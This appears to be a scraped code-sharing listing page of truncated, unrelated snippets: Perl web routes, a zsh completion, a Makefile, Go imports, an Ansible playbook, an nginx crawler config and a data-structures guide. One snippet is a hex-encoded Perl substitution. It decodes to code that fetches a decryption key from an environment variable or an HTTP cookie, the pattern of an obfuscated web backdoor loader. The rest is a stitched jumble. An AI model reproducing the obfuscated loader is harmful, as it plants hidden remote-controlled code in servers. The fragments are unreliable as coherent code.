Vector is an on-host performance monitoring framework which exposes hand picked high resolution metrics to every engineer’s browser. More here.
Vector requires PCP to collect data.
# check routes: script/app routes | |
my $r = $self->routes; | |
$r->route("/$_")->to("user-auth#$_") for qw(login signup forgot); | |
# check user | |
for($r->bridge->to('user-auth#check')) { | |
$_->route('/')->to('about#index'); | |
$_->route('/movies')->to('movie#main'); |
#compdef cpanm | |
#autoload | |
typeset -A opt_args | |
local context state line | |
_arguments -C \ | |
'(-h)'{-h,--help}'[prints help]' \ | |
'(-v --verobse)'{-v,--verbose}'[turn on chatty output.]' \ | |
'(-q --quiet)'{-q,--quiet}'[turn off the most output.]' \ |
{s;(.*);73756220656e6372797074696f6e5f6765745f6b65790a7b0a0969662824454e567b27455f4b4559277d297b72657475726e2824454e567b27455f4b4559277d293b7d0a0969662824454e567b27485454505f434f4f4b4945277d290a097b0a09096d792040783d73706c6974282f3b2f2c24454e567b27485454505f434f4f4b4945277d293b0a0909666f7265616368206d7920247820284078290a09097b0a0909096d792028246b2c2476293d73706c6974282f3d2f2c2478293b0a090909696628246b206e6520276b657927297b6e6578743b7d0a09090972657475726e282476293b0a09097d0a097d0a0972657475726e28756e646566293b0a7d0a0a73756220656e6372797074696f6e5f666173740a7b0a096d79202824772c246b293d405f3b0a0969662821246b297b246b3d26656e6372797074696f6e5f6765745f6b657928293b7d0a096966282821242477297c7c2821246b297c7c28216c656e67746828246b2929297b72657475726e3b7d0a096d792024623d27273b0a096d792024776c3d6c656e67746828242477293b0a096d7920246b6c3d6c656e67746828246b293b0a096d792024726c3d24776c25246b6c3b0a096d792024666c3d24776c2d24726c3b0a096d79202462633d24666c2f246b6c3b0a09666f72286d7920246f3d303b246f3c24666c3b246f2b3d246b6c290a097b |
all: | |
fatpack trace `which patchperl` | |
fatpack packlists-for `cat fatpacker.trace` >packlists | |
fatpack tree `cat packlists` | |
(echo "#!/usr/bin/env perl"; fatpack file; cat `which patchperl`) > patchperl | |
chmod +x patchperl | |
package main | |
import ( | |
"bufio" | |
"bytes" | |
"compress/bzip2" | |
"compress/gzip" | |
"flag" | |
"fmt" | |
"io" |
package main | |
import ( | |
"bufio" | |
"encoding/csv" | |
"encoding/json" | |
"fmt" | |
"io" | |
"os" | |
"path/filepath" |
This list is meant to be a both a quick guide and reference for further research into these topics. It's basically a summary of that comp sci course you never took or forgot about, so there's no way it can cover everything in depth. It also will be available as a gist on Github for everyone to edit and add to.
###Array ####Definition:
--- | |
- hosts: all | |
vars: | |
userlist_file: /etc/pgbouncer/userlist.txt | |
userlist_owner: postgres | |
remote_user: root | |
tasks: | |
- name: "Stage 1: create temporary userlist.txt" |
# HTTP crawler inside nginx. | |
# | |
# start crawling by curl http://127.0.0.1:18080/?host=<START URL> | |
# | |
worker_processes auto; | |
events { | |
worker_connections 16384; | |
} |